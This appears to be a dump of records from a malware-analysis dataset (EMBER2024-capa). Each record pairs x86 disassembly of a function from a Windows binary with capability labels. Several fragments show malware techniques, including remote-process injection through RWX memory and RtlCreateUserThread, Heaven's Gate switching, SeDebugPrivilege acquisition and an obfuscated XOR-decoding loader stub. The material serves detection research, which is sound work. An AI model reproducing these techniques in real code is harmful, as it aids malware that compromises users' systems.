joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4264c0
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Create tcp socket
Resolve dns

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffec
push ebx
push esi
mov esi, ecx
mov dword [ebp - 4], edx
mov ebx, eax
mov eax, dword [ebp - 4]
call fcn.004027a0
xor eax, eax
push ebp
push 0x426566
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, ebx
call fcn.00426574
mov eax, dword [ebp - 4]
call fcn.004027b0
mov dword [ebx + 4], eax
push 6
push 1
push 2
call sub.wsock32.dll_socket
mov dword [ebx + 0x14], eax
mov word [ebp - 0x14], 2
push esi
call sub.wsock32.dll_htons
mov word [ebp - 0x12], ax
mov eax, dword [ebx + 4]
push eax
call sub.wsock32.dll_inet_addr
mov esi, eax
mov dword [ebp - 0x10], esi
inc esi
jne 0x42653d
mov eax, dword [ebx + 4]
push eax
call sub.wsock32.dll_gethostbyname
test eax, eax
je 0x426550
mov eax, dword [eax + 0xc]
mov eax, dword [eax]
mov eax, dword [eax]
mov dword [ebp - 0x10], eax
push 0x10
lea eax, [ebp - 0x14]
push eax
mov eax, dword [ebx + 0x14]
push eax
call sub.wsock32.dll_connect
mov byte [ebx + 0x10], 1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x42656d
lea eax, [ebp - 4]
call fcn.00402414
ret

Function at 0x426588
Capabilities:
Get socket status

Disassembly:
push ebx
add esp, 0xfffffef4
mov ebx, eax
test edx, edx
jne 0x4265be
lea eax, [esp + 8]
call fcn.0040de54
lea edx, [esp + 8]
mov eax, dword [ebx + 0x14]
call fcn.0040de44
push 0
push 0
push 0
lea eax, [esp + 0x14]
push eax
push 0
call sub.wsock32.dll_select
jmp 0x4265ed
mov dword [esp], edx
xor eax, eax
mov dword [esp + 4], eax
lea eax, [esp + 8]
call fcn.0040de54
lea edx, [esp + 8]
mov eax, dword [ebx + 0x14]
call fcn.0040de44
push esp
push 0
push 0
lea eax, [esp + 0x14]
push eax
push 0
call sub.wsock32.dll_select
add esp, 0x10c
pop ebx
ret

Function at 0x426944
Capabilities:
Parse pe header

Disassembly:
push ebx
push esi
xor ebx, ebx
mov ecx, eax
mov ax, word [ecx]
not ax
cmp ax, 0x5a4d
je 0x426985
mov eax, ecx
xor edx, edx
push edx
push eax
mov eax, dword [ecx + 0x3c]
cdq
add eax, dword [esp]
adc edx, dword [esp + 4]
add esp, 8
mov esi, eax
push 0xf8
push esi
call fcn.00403898
test eax, eax
jne 0x426985
cmp dword [esi], 0x4550
jne 0x426985
mov bl, 1
mov eax, ebx
pop esi
pop ebx
ret
Function at 0x42f248
Capabilities:
Delete file

Disassembly:
push ebp
mov ebp, esp
push 0
push ebx
push esi
mov ebx, 0x4378a4
mov esi, 0x4378cc
xor eax, eax
push ebp
push 0x42f3da
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [0x435680]
mov dword [ebx + 0x10], eax
xor eax, eax
mov dword [ebx], eax
push 0x42f3e8
mov eax, dword [ebx + 0x10]
push eax
call sub.KERNEL32.DLL_DeleteFileA
mov dword [ebx + 0x14], eax
mov dword [ebx + 4], 0x42f158
mov dword [ebx + 0x1c], 0x10
mov eax, 0x42f3f4
mov dword [ebx + 0x24], eax
push 0x7f00
push 0
call sub.KERNEL32.DLL_DeleteCriticalSection
mov dword [ebx + 0x18], eax
xor eax, eax
mov dword [ebx + 8], eax
xor eax, eax
mov dword [ebx + 0xc], eax
mov eax, 0x42f400
mov dword [ebx + 0x20], eax
push ebx
call sub.KERNEL32.DLL_FindNextFileA
lea eax, [ebp - 4]
mov edx, dword [0x434cb0]
add edx, 0x700
call fcn.00402570
push 0xcf0000
push 0x190
push 0x190
push 0xaf
push 0x6e
push 0
push 0
mov eax, dword [0x435680]
push eax
push 0
mov ecx, 0x42f404
mov edx, dword [ebx + 0x24]
mov eax, 0x80
call fcn.00403ce0
mov dword [esi], eax
cmp dword [esi], 0
jne 0x42f324
mov eax, dword [0x435680]
push eax
mov eax, dword [ebx + 0x24]
push eax
call sub.KERNEL32.DLL_GetProcAddress
jmp 0x42f3c4
push 6
push 0x32
push 0x9b
push 0x1a
mov eax, dword [esi]
push eax
push 0
mov eax, dword [0x435680]
push eax
push 0
mov eax, dword [ebp - 4]
call fcn.004027b0
mov edx, eax
mov eax, 0x42f414
mov ecx, 0x50000000
call fcn.00403d38
mov dword [0x4378d0], eax
push 6
push 5
push 0x12c
push 0x14
mov eax, dword [esi]
push eax
push 0
mov eax, dword [0x435680]
push eax
push 0
mov edx, 0x42f41c
mov eax, 0x42f42c
mov ecx, 0x50000000
call fcn.00403d38
push 6
push 0x19
push 0x12c
push 0x14
mov eax, dword [esi]
push eax
push 0
mov eax, dword [0x435680]
push eax
push 0
mov edx, 0x42f434
mov eax, 0x42f42c
mov ecx, 0x50000000
call fcn.00403d38
push 1
mov eax, dword [esi]
push eax
call sub.KERNEL32.DLL_GetLastError
mov eax, dword [esi]
push eax
call sub.KERNEL32.DLL_GetSystemDefaultLangID
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x42f3e1
lea eax, [ebp - 4]
call fcn.00402414
ret
Function at 0x430054
Capabilities:
Get disk size

Disassembly:
push ebp
mov ebp, esp
push 0
push ebx
push esi
mov ebx, dword [0x434c50]
mov esi, dword [0x434c58]
xor eax, eax
push ebp
push 0x430272
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [0x435680]
mov dword [esi], eax
mov dword [ebx], 0xc0
mov dword [ebx + 4], 0x42f60c
mov eax, dword [esi]
mov dword [ebx + 0x10], eax
mov dword [ebx + 0x1c], 0xb
mov eax, 0x430280
mov dword [ebx + 0x24], eax
push 0x7f00
push 0
call sub.KERNEL32.DLL_DeleteCriticalSection
mov dword [ebx + 0x18], eax
push ebx
call sub.KERNEL32.DLL_FindNextFileA
lea eax, [ebp - 4]
mov edx, dword [0x434cb0]
add edx, 0x600
call fcn.00402570
push 0x80800000
push 0xf0
push 0x96
push 0x137
push 0xf0
push 0
push 0
mov eax, dword [esi]
push eax
push 0
mov ecx, 0x430288
mov edx, 0x430280
mov eax, 8
call fcn.00403ce0
mov edx, dword [0x434c78]
mov dword [edx], eax
push 0x106
push 0xd7
push 0x2d
push 0x14
mov eax, dword [0x434c78]
mov eax, dword [eax]
push eax
push 0
mov eax, dword [esi]
push eax
push 0
mov eax, dword [ebp - 4]
call fcn.004027b0
mov edx, eax
mov eax, 0x430290
mov ecx, 0x50801000
call fcn.00403d38
mov edx, dword [0x434d38]
mov dword [edx], eax
push 0x50200804
push 2
push 2
push 0x132
push 0xd1
mov eax, dword [0x434c78]
mov eax, dword [eax]
push eax
push 0
mov eax, dword [esi]
push eax
push 0
mov ecx, 0x430298
mov edx, 0x43029c
mov eax, 0x200
call fcn.00403ce0
mov edx, dword [0x434d4c]
mov dword [edx], eax
push 0x50800000
push 0
push 0xd7
push 0x104
push 0x15
mov eax, dword [0x434c78]
mov eax, dword [eax]
push eax
push 0
mov eax, dword [esi]
push eax
push 0
mov ecx, 0x430298
mov edx, 0x43029c
mov eax, 0x200
call fcn.00403ce0
mov edx, dword [0x434c9c]
mov dword [edx], eax
push 0x4302a4
push 0
push 0
push 0
push 0
push 1
push 0
push 0
push 0
push 0x320
push 0
push 0
push 0
push 0xfffffffffffffff5
call sub.gdi32.dll_CreateFontA
mov edx, dword [0x434ce8]
mov dword [edx], eax
mov eax, dword [0x434ce8]
cmp dword [eax], 0
je 0x430242
push 0
mov eax, dword [0x434ce8]
mov eax, dword [eax]
push eax
push 0x30
mov eax, dword [0x434d38]
mov eax, dword [eax]
push eax
call sub.KERNEL32.DLL_GetACP
push 0
mov eax, dword [0x434ce8]
mov eax, dword [eax]
push eax
push 0x30
mov eax, dword [0x434c9c]
mov eax, dword [eax]
push eax
call sub.KERNEL32.DLL_GetACP
push 0
mov eax, dword [0x434ce8]
mov eax, dword [eax]
push eax
push 0x30
mov eax, dword [0x434d4c]
mov eax, dword [eax]
push eax
call sub.KERNEL32.DLL_GetACP
mov eax, dword [0x434c9c]
mov eax, dword [eax]
push eax
call sub.KERNEL32.DLL_GetDiskFreeSpaceA
mov eax, dword [0x434c78]
mov eax, dword [eax]
push eax
call sub.KERNEL32.DLL_GetSystemDefaultLangID
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x430279
lea eax, [ebp - 4]
call fcn.00402414
ret
Function at 0x407e15
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x42e180]
jne 0x407e1f
repz ret
jmp fcn.0040bc0c

Function at 0x40c279
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x44
pushal
call 0x40c288
pop dword [ebp - 0x34]
mov eax, 0x40c288
sub dword [ebp - 0x34], eax
mov dword [ebp - 0x44], 0xf8029ab2
add dword [ebp - 0x44], 0x564faa99
mov dword [ebp - 0x40], 0x42c894da
sub dword [ebp - 0x40], 0x10954895
mov dword [ebp - 0x3c], 0x3ac0b9e1
add dword [ebp - 0x3c], 0x118b8a4d
mov dword [ebp - 0x38], 0x5a5fd9a4
add dword [ebp - 0x38], 0xa5a0265c
lea eax, [ebp - 0x44]
push eax
mov eax, 0x4b6b4423
sub eax, 0x4b2913af
add eax, dword [ebp - 0x34]
call dword [eax]
mov dword [ebp - 0x44], 0x53360f74
sub dword [ebp - 0x44], 0xdec3a61e
mov dword [ebp - 0x40], 0x2c631c5e
sub dword [ebp - 0x40], 0xeaf6bae9
mov dword [ebp - 0x3c], 0xfdc09c49
sub dword [ebp - 0x3c], 0x9a512fdd
mov dword [ebp - 0x38], 0xc19fb24c
add dword [ebp - 0x38], 0x3e604db4
lea ebx, [ebp - 0x44]
push ebx
push eax
mov eax, 0xea0d79d2
sub eax, 0xe9cb48ae
add eax, dword [ebp - 0x34]
call dword [eax]
push 0x40
push 0x1000
push 0x3e2e3
push 0
call eax
mov ecx, 0xea189fd
add ecx, 0xf15ebffd
xor ebx, ebx
add ebx, eax
mov edx, 0xb53dc1c2
add edx, 0x4b05823e
add edx, dword [ebp - 0x34]
mov edi, 0x94a02eae
xor dword [ebp - 0x1c], edi
mov esi, dword [edx]
xor dword [ebp - 0xc], esi
add esi, edi
sub dword [ebp - 0x10], 0x4d90984b
mov dword [ebx], esi
sub dword [ebp - 0xc], 0x6dd1926f
add ebx, 0x2ba3df33
sub ebx, 0x2ba3df2f
add edx, 4
loop 0x40c3a1
add eax, 0xb8333a22
sub eax, 0xb8321f67
mov ebx, eax
add eax, 5
mov ecx, 0x560cb5fa
add ecx, 0xaa334a06
add ecx, dword [ebp - 0x34]
call ebx
leave
ret
Function at 0x10001020
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x144
push 0
push 2
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov dword [ebp - 8], eax
mov dword [ebp - 0x18], 0
cmp dword [ebp - 8], 0
je 0x1000110a
mov dword [ebp - 0x144], 0x128
push 0x124
push 0
lea eax, [ebp - 0x140]
push eax
call sub.MSVCR120.dll_memset
add esp, 0xc
lea ecx, [ebp - 0x144]
push ecx
mov edx, dword [ebp - 8]
push edx
call dword [sym.imp.KERNEL32.dll_Process32First]
test eax, eax
je 0x10001100
mov eax, dword [ebp + 8]
mov dword [ebp - 0xc], eax
lea ecx, [ebp - 0x120]
mov dword [ebp - 0x10], ecx
mov edx, dword [ebp - 0x10]
mov al, byte [edx]
mov byte [ebp - 1], al
mov ecx, dword [ebp - 0xc]
cmp al, byte [ecx]
jne 0x100010cc
cmp byte [ebp - 1], 0
je 0x100010c3
mov edx, dword [ebp - 0x10]
mov al, byte [edx + 1]
mov byte [ebp - 2], al
mov ecx, dword [ebp - 0xc]
cmp al, byte [ecx + 1]
jne 0x100010cc
add dword [ebp - 0x10], 2
add dword [ebp - 0xc], 2
cmp byte [ebp - 2], 0
jne 0x1000108f
mov dword [ebp - 0x14], 0
jmp 0x100010d4
sbb edx, edx
or edx, 1
mov dword [ebp - 0x14], edx
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 0
jne 0x100010eb
mov ecx, dword [ebp - 0x13c]
mov dword [ebp - 0x18], ecx
jmp 0x10001100
lea edx, [ebp - 0x144]
push edx
mov eax, dword [ebp - 8]
push eax
call dword [sym.imp.KERNEL32.dll_Process32Next]
test eax, eax
jne 0x10001080
mov ecx, dword [ebp - 8]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 0x18]
mov esp, ebp
pop ebp
ret 4

Function at 0x100011b0
Capabilities:
Acquire debug privileges

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
mov dword [ebp - 0x18], 0
xor eax, eax
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x10], eax
mov dword [ebp - 0xc], eax
mov dword [ebp - 4], 0
mov dword [ebp - 8], 0
lea ecx, [ebp - 4]
push ecx
push 0x28
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x1000124d
mov dword [ebp - 0x18], 1
mov edx, 0xc
imul eax, edx, 0
mov dword [ebp + eax - 0xc], 2
mov ecx, 0xc
imul edx, ecx, 0
lea eax, [ebp + edx - 0x14]
push eax
push str.SeDebugPrivilege
push 0
call dword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueA]
test eax, eax
je 0x10001243
push 0
push 0
push 0
lea ecx, [ebp - 0x18]
push ecx
push 0
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
test eax, eax
je 0x10001243
mov dword [ebp - 8], 1
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 8]
mov esp, ebp
pop ebp
ret
Function at 0x10001b30
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
push 0x100041e8
push 0x65
mov eax, dword [0x10005fc4]
push eax
call dword [sym.imp.KERNEL32.dll_FindResourceA]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
je 0x10001bdb
mov ecx, dword [ebp - 4]
push ecx
mov edx, dword [0x10005fc4]
push edx
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x10]
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov dword [ebp - 0x14], eax
mov ecx, dword [ebp - 4]
push ecx
mov edx, dword [0x10005fc4]
push edx
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov dword [ebp - 8], eax
mov eax, dword [ebp - 8]
push eax
push 8
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov dword [ebp - 0xc], eax
mov dword [ebp - 0x1c], 0x73597427
mov dword [ebp - 0x18], 0x19
lea ecx, [ebp - 0x1c]
push ecx
mov edx, dword [ebp - 8]
push edx
mov eax, dword [ebp - 0xc]
push eax
mov ecx, dword [ebp - 0x14]
push ecx
call fcn.10001ab0
mov edx, dword [ebp + 8]
mov eax, dword [ebp - 0xc]
mov dword [edx], eax
mov ecx, dword [ebp + 0xc]
mov edx, dword [ebp - 8]
mov dword [ecx], edx
mov eax, 1
jmp 0x10001bdd
xor eax, eax
mov esp, ebp
pop ebp
ret 8
Function at 0x10001c80
Capabilities:
64-bit execution via heavens gate

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x64
push edi
cmp dword [0x10005fcc], 0
jne 0x10001c99
xor eax, eax
xor edx, edx
jmp 0x10001e65
lea eax, [ebp + 0x14]
mov dword [ebp - 8], eax
cmp dword [ebp + 0x10], 0
jle 0x10001cc8
mov ecx, dword [ebp + 0x10]
sub ecx, 1
mov dword [ebp + 0x10], ecx
mov edx, dword [ebp - 8]
add edx, 8
mov dword [ebp - 8], edx
mov eax, dword [ebp - 8]
mov ecx, dword [eax - 8]
mov dword [ebp - 0x14], ecx
mov edx, dword [eax - 4]
mov dword [ebp - 0x10], edx
jmp 0x10001cd1
xorpd xmm0, xmm0
movlpd qword [ebp - 0x14], xmm0
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x44], eax
mov ecx, dword [ebp - 0x10]
mov dword [ebp - 0x40], ecx
cmp dword [ebp + 0x10], 0
jle 0x10001d06
mov edx, dword [ebp + 0x10]
sub edx, 1
mov dword [ebp + 0x10], edx
mov eax, dword [ebp - 8]
add eax, 8
mov dword [ebp - 8], eax
mov ecx, dword [ebp - 8]
mov edx, dword [ecx - 8]
mov dword [ebp - 0x1c], edx
mov eax, dword [ecx - 4]
mov dword [ebp - 0x18], eax
jmp 0x10001d0f
xorpd xmm0, xmm0
movlpd qword [ebp - 0x1c], xmm0
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x4c], ecx
mov edx, dword [ebp - 0x18]
mov dword [ebp - 0x48], edx
cmp dword [ebp + 0x10], 0
jle 0x10001d44
mov eax, dword [ebp + 0x10]
sub eax, 1
mov dword [ebp + 0x10], eax
mov ecx, dword [ebp - 8]
add ecx, 8
mov dword [ebp - 8], ecx
mov edx, dword [ebp - 8]
mov eax, dword [edx - 8]
mov dword [ebp - 0x24], eax
mov ecx, dword [edx - 4]
mov dword [ebp - 0x20], ecx
jmp 0x10001d4d
xorpd xmm0, xmm0
movlpd qword [ebp - 0x24], xmm0
mov edx, dword [ebp - 0x24]
mov dword [ebp - 0x54], edx
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x50], eax
cmp dword [ebp + 0x10], 0
jle 0x10001d82
mov ecx, dword [ebp + 0x10]
sub ecx, 1
mov dword [ebp + 0x10], ecx
mov edx, dword [ebp - 8]
add edx, 8
mov dword [ebp - 8], edx
mov eax, dword [ebp - 8]
mov ecx, dword [eax - 8]
mov dword [ebp - 0x2c], ecx
mov edx, dword [eax - 4]
mov dword [ebp - 0x28], edx
jmp 0x10001d8b
xorpd xmm0, xmm0
movlpd qword [ebp - 0x2c], xmm0
mov eax, dword [ebp - 0x2c]
mov dword [ebp - 0x5c], eax
mov ecx, dword [ebp - 0x28]
mov dword [ebp - 0x58], ecx
xorpd xmm0, xmm0
movlpd qword [ebp - 0x3c], xmm0
mov edx, dword [ebp - 8]
add edx, 8
mov dword [ebp - 8], edx
mov eax, dword [ebp - 8]
sub eax, 8
cdq
mov dword [ebp - 0x64], eax
mov dword [ebp - 0x60], edx
mov eax, dword [ebp + 0x10]
cdq
mov dword [ebp - 0x34], eax
mov dword [ebp - 0x30], edx
mov dword [ebp - 0xc], 0
xor eax, eax
mov word [ebp - 4], ax
mov word [ebp - 4], fs
mov eax, 0x2b
mov fs, ax
mov dword [ebp - 0xc], esp
and esp, 0xfffffff0
push 0x33
call fcn.10001de6
pop edi
mov esp, ebp
pop ebp
ret

Function at 0x10001e70
Capabilities:
64-bit execution via heavens gate

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push esi
push edi
cmp dword [ebp + 8], 0
je 0x10001e90
cmp dword [ebp + 0xc], 0
jne 0x10001e8a
cmp dword [ebp + 0x10], 0
je 0x10001e90
cmp dword [ebp + 0x14], 0
jne 0x10001e92
jmp 0x10001ee5
mov eax, dword [ebp + 0xc]
mov dword [ebp - 8], eax
mov ecx, dword [ebp + 0x10]
mov dword [ebp - 4], ecx
push 0x33
call fcn.10001ea5
pop edi
pop esi
mov esp, ebp
pop ebp
ret 0x10
Function at 0x10001ef0
Capabilities:
64-bit execution via heavens gate

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push esi
push edi
cmp dword [ebp + 8], 0
je 0x10001f10
cmp dword [ebp + 0xc], 0
jne 0x10001f0a
cmp dword [ebp + 0x10], 0
je 0x10001f10
cmp dword [ebp + 0x14], 0
jne 0x10001f14
xor al, al
jmp 0x10001f78
mov byte [ebp - 1], 0
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0xc], eax
mov ecx, dword [ebp + 0x10]
mov dword [ebp - 8], ecx
push 0x33
call fcn.10001f2b
pop edi
pop esi
mov esp, ebp
pop ebp
ret 0x10

Function at 0x10001f80
Capabilities:
64-bit execution via heavens gate

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
xorpd xmm0, xmm0
movlpd qword [ebp - 8], xmm0
push 0x33
call fcn.10001f96

Function at 0x100026e0
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c
mov dword [ebp - 0xc], 0
push 0x40
push 0x1000
mov eax, dword [ebp + 0x10]
add eax, 0xc50
push eax
push 0
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
je 0x10002833
mov edx, dword [ebp - 4]
add edx, dword [ebp + 0x10]
mov dword [ebp - 8], edx
push 0
mov eax, dword [ebp + 0x10]
push eax
mov ecx, dword [ebp + 0xc]
push ecx
mov eax, dword [ebp - 4]
cdq
push edx
push eax
mov edx, dword [ebp + 8]
push edx
call fcn.100025f0
add esp, 0x18
test eax, eax
je 0x1000281e
push 0
push 0xc50
push 0x10005010
mov eax, dword [ebp - 8]
cdq
push edx
push eax
mov eax, dword [ebp + 8]
push eax
call fcn.100025f0
add esp, 0x18
test eax, eax
je 0x1000281e
push str.RtlCreateUserThread
call fcn.10002170
push edx
push eax
call fcn.10002500
add esp, 0xc
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x18], edx
xorpd xmm0, xmm0
movlpd qword [ebp - 0x2c], xmm0
xorpd xmm0, xmm0
movlpd qword [ebp - 0x14], xmm0
mov ecx, dword [ebp - 0x10]
push ecx
mov edx, dword [ebp - 0x14]
push edx
lea eax, [ebp - 0x2c]
cdq
push edx
push eax
mov eax, dword [ebp - 4]
cdq
push edx
push eax
mov eax, dword [ebp - 8]
cdq
push edx
push eax
mov eax, dword [ebp - 0x10]
push eax
mov ecx, dword [ebp - 0x14]
push ecx
mov edx, dword [ebp - 0x10]
push edx
mov eax, dword [ebp - 0x14]
push eax
mov ecx, dword [ebp - 0x10]
push ecx
mov edx, dword [ebp - 0x14]
push edx
mov eax, dword [ebp - 0x10]
push eax
mov ecx, dword [ebp - 0x14]
push ecx
mov edx, dword [ebp - 0x10]
push edx
mov eax, dword [ebp - 0x14]
push eax
mov eax, dword [ebp + 8]
cdq
push edx
push eax
push 0xa
mov ecx, dword [ebp - 0x18]
push ecx
mov edx, dword [ebp - 0x1c]
push edx
call fcn.10001c80
add esp, 0x5c
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x20], edx
cmp dword [ebp - 0x20], 0
ja 0x10002801
cmp dword [ebp - 0x24], 0
jb 0x1000281e
push 0xffffffffffffffff
mov eax, dword [ebp - 0x2c]
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov ecx, dword [ebp - 0x2c]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [ebp - 0xc], 1
push 0x8000
push 0
mov edx, dword [ebp - 4]
push edx
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov eax, dword [ebp - 0xc]
mov esp, ebp
pop ebp
ret 0xc
Function at 0x4024c0
Capabilities:
Encrypt data using aes mixcolumns step

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov dword [ebp - 0x10], ecx
mov ecx, 0x51f00c
call fcn.004b60a9
mov byte [ebp - 1], 0
mov eax, 1
imul ecx, eax, 0
mov dl, byte [ebp + 0xc]
mov byte [ebp + ecx - 0xc], dl
mov dword [ebp - 8], 1
jmp 0x4024f8
mov eax, dword [ebp - 8]
add eax, 1
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 4
jge 0x402533
mov ecx, dword [ebp - 8]
movzx edx, byte [ebp + ecx - 0xd]
shl edx, 1
mov eax, dword [ebp - 8]
mov byte [ebp + eax - 0xc], dl
mov ecx, dword [ebp - 8]
movzx edx, byte [ebp + ecx - 0xd]
and edx, 0x80
je 0x402531
mov eax, dword [ebp - 8]
movzx ecx, byte [ebp + eax - 0xc]
xor ecx, 0x1b
mov edx, dword [ebp - 8]
mov byte [ebp + edx - 0xc], cl
jmp 0x4024ef
mov dword [ebp - 8], 0
jmp 0x402545
mov eax, dword [ebp - 8]
add eax, 1
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 4
jge 0x40256c
movzx edx, byte [ebp + 8]
mov ecx, dword [ebp - 8]
sar edx, cl
and edx, 1
je 0x40256a
mov eax, dword [ebp - 8]
movzx ecx, byte [ebp + eax - 0xc]
movzx edx, byte [ebp - 1]
xor edx, ecx
mov byte [ebp - 1], dl
jmp 0x40253c
movzx eax, byte [ebp - 1]
mov esp, ebp
pop ebp
ret 8

Function at 0x409770
Capabilities:
Get disk size

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
mov ecx, 0x51f274
call fcn.004b60a9
xor eax, eax
mov dword [ebp - 4], eax
mov ecx, 1
imul edx, ecx, 0
movzx eax, byte [ebp + 8]
mov byte [ebp + edx - 4], al
mov ecx, 1
shl ecx, 0
mov byte [ebp + ecx - 4], 0x3a
mov edx, 1
shl edx, 1
mov byte [ebp + edx - 4], 0x5c
mov dword [ebp - 8], 0
mov dword [ebp - 0xc], 0
mov dword [ebp - 0x10], 0
mov dword [ebp - 0x14], 0
lea eax, [ebp - 0x14]
push eax
lea ecx, [ebp - 0x10]
push ecx
lea edx, [ebp - 8]
push edx
lea eax, [ebp - 0xc]
push eax
lea ecx, [ebp - 4]
push ecx
call dword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceA]
mov eax, dword [ebp - 8]
imul eax, dword [ebp - 0xc]
mul dword [ebp - 0x10]
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x18], edx
mov eax, dword [ebp - 0x1c]
mov edx, dword [ebp - 0x18]
mov esp, ebp
pop ebp
ret
Function at 0x409c60
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
mov ecx, 0x51f216
call fcn.004b60a9
mov eax, dword [ebp + 0xc]
push eax
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
jne 0x409c8e
xor eax, eax
jmp 0x409d0e
mov edx, dword [ebp - 0xc]
push edx
call dword [sym.imp.KERNEL32.dll_LockResource]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jne 0x409ca5
xor eax, eax
jmp 0x409d0e
mov eax, dword [ebp + 0xc]
push eax
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov dword [ebp - 0x14], eax
mov edx, dword [ebp - 4]
add edx, dword [ebp - 0x14]
mov dword [ebp - 0x10], edx
mov eax, dword [ebp + 0x10]
and eax, 0xf
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
jbe 0x409cf1
mov ecx, dword [ebp - 4]
cmp ecx, dword [ebp - 0x10]
jae 0x409cf1
mov edx, dword [ebp - 4]
movzx eax, word [edx]
mov ecx, dword [ebp - 4]
lea edx, [ecx + eax*2 + 2]
mov dword [ebp - 4], edx
mov eax, dword [ebp - 8]
sub eax, 1
mov dword [ebp - 8], eax
jmp 0x409cc8
mov ecx, dword [ebp - 4]
cmp ecx, dword [ebp - 0x10]
jb 0x409cfd
xor eax, eax
jmp 0x409d0e
mov edx, dword [ebp - 4]
movzx eax, word [edx]
test eax, eax
jne 0x409d0b
xor eax, eax
jmp 0x409d0e
mov eax, dword [ebp - 4]
mov esp, ebp
pop ebp
ret